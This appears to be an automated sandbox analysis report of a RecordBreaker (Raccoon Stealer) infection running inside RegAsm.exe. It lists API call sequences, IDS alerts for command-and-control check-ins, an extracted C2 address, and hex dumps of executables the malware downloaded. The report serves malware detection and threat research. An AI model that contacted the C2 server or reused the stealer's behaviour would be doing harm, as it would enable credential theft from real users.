Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F788 LocalAlloc,GetLastError,GetLastError,LocalFree,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateFileMappingW,RegOpenKeyExA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,FindFirstFileA,FindClose,LocalAlloc,LocalFree,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,GetLastError,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateFileMappingW,GetLastError,CloseHandle,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateSemaphoreA,GetLastError,ReleaseSemaphore,RegOpenKeyExA,LocalAlloc,LocalFree,RegOpenKeyExA,GetLastError,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,StrCpyW,LocalFree, 3_2_0040F788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00408109 OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW, 3_2_00408109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040FC1E CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateFileMappingW,SetEnvironmentVariableA,SetEnvironmentVariableA,CloseHandle,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,GetLastError,CancelWaitableTimer,GetLastError,CreateToolhelp32Snapshot,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,GetLastError,ReleaseSemaphore,RegOpenKeyExA,OutputDebugStringA,Process32FirstW,lstrcmpiW,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,OutputDebugStringA,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,GetLastError,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,CreateMutexA,ReleaseMutex,GetLastError,SetEnvironmentVariableA,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle, 3_2_0040FC1E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00403E9F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00403E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004087AA LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree, 3_2_004087AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040392D LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_0040392D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004041AD StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004041AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004017B3 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW, 3_2_004017B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00407938 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_00407938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F23A lstrlenA,lstrlenA,lstrlenA,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,GetLastError,CloseHandle,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,RegOpenKeyExA,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,LocalAlloc,LocalFree,CreateMutexA,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,CloseHandle,GetLastError,GetLastError,CreateMutexA,GetLastError,ReleaseMutex,FindFirstFileA,FindClose,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateSemaphoreA,GetLastError,ReleaseSemaphore,SetEnvironmentVariableA,GlobalFree, 3_2_0040F23A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E83D CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,LocalAlloc,lstrlenW,LocalAlloc,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,CloseHandle,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,SetEnvironmentVariableA,LocalFree,GetLastError,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,lstrlenW,StrCpyW,LocalFree,StrCpyW,LocalFree, 3_2_0040E83D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004103E1 OutputDebugStringA,SetEnvironmentVariableA,LocalAlloc,LocalFree,LocalAlloc,GetLogicalDriveStringsW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004103E1

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2036934 ET TROJAN Win32/RecordBreaker CnC Checkin M1 192.168.2.7:49699 -> 89.238.170.230:80
Source: Traffic Snort IDS: 2036955 ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response 89.238.170.230:80 -> 192.168.2.7:49699
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://89.238.170.230:80
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:23:54 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:48 GMTETag: "62548404-1f29b8"Expires: Fri, 29 Mar 2024 13:53:54 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:24:49 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:42 GMTETag: "625483fe-6db00"Expires: Fri, 29 Mar 2024 13:54:49 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:24:56 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 21:52:46 GMTETag: "629299ae-13900"Expires: Fri, 29 Mar 2024 13:54:56 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:24:58 GMTContent-Type: application/octet-streamContent-Length: 627128Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:36 GMTETag: "625483f8-991b8"Expires: Fri, 29 Mar 2024 13:54:58 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:25:13 GMTContent-Type: application/octet-streamContent-Length: 684984Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:40:08 GMTETag: "62548418-a73b8"Expires: Fri, 29 Mar 2024 13:55:13 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 